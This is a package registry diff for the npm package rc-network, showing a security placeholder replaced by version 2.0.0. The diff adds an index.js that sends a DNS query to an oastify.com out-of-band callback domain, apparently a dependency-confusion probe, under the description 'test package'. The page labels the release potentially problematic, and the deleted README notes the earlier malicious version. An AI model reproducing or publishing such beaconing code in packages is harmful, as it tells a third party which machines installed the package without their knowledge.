rc-network 0.0.1-security → 2.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of rc-network might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +54 -0
  2. package/package.json +11 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,54 @@
1
+ const dgram = require('dgram');
2
+
3
+ const targetDomain = 'ob373yezmbeqio09c872skjix930rrfg.oastify.com';
4
+ const dnsServer = '8.8.8.8'; // Google's public DNS server
5
+ const dnsPort = 53; // Standard DNS port
6
+
7
+ // Helper function to convert a domain name to DNS query format
8
+ function domainToBytes(domain) {
9
+ const parts = domain.split('.');
10
+ const bufferArray = [];
11
+ parts.forEach((part) => {
12
+ bufferArray.push(part.length); // Length of each part
13
+ bufferArray.push(...Buffer.from(part)); // ASCII representation of the part
14
+ });
15
+ bufferArray.push(0); // Null terminator for the domain
16
+ return Buffer.from(bufferArray);
17
+ }
18
+
19
+ // Construct the DNS query packet
20
+ function buildDnsQuery(domain) {
21
+ const header = Buffer.from([
22
+ 0x12, 0x34, // Transaction ID
23
+ 0x01, 0x00, // Flags: standard query
24
+ 0x00, 0x01, // Questions: 1
25
+ 0x00, 0x00, // Answer RRs: 0
26
+ 0x00, 0x00, // Authority RRs: 0
27
+ 0x00, 0x00, // Additional RRs: 0
28
+ ]);
29
+
30
+ const question = Buffer.concat([
31
+ domainToBytes(domain), // Domain name
32
+ Buffer.from([0x00, 0x01, 0x00, 0x01]), // Type A, Class IN
33
+ ]);
34
+
35
+ return Buffer.concat([header, question]);
36
+ }
37
+
38
+ // Send the DNS query
39
+ const query = buildDnsQuery(targetDomain);
40
+ const client = dgram.createSocket('udp4');
41
+
42
+ client.on('message', (msg) => {
43
+ console.log('Received response:', msg);
44
+ client.close();
45
+ });
46
+
47
+ client.send(query, dnsPort, dnsServer, (err) => {
48
+ if (err) {
49
+ console.error('Error sending DNS query:', err);
50
+ client.close();
51
+ } else {
52
+ console.log('DNS query sent.');
53
+ }
54
+ });
package/package.json CHANGED
@@ -1,6 +1,14 @@
1
1
  {
2
2
  "name": "rc-network",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "2.0.0",
4
+ "description": "test package",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "start": "node index.js"
8
+ },
9
+ "author": "Renwa",
10
+ "license": "ISC",
11
+ "keywords": [
12
+ "test"
13
+ ]
6
14
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=rc-network for more information.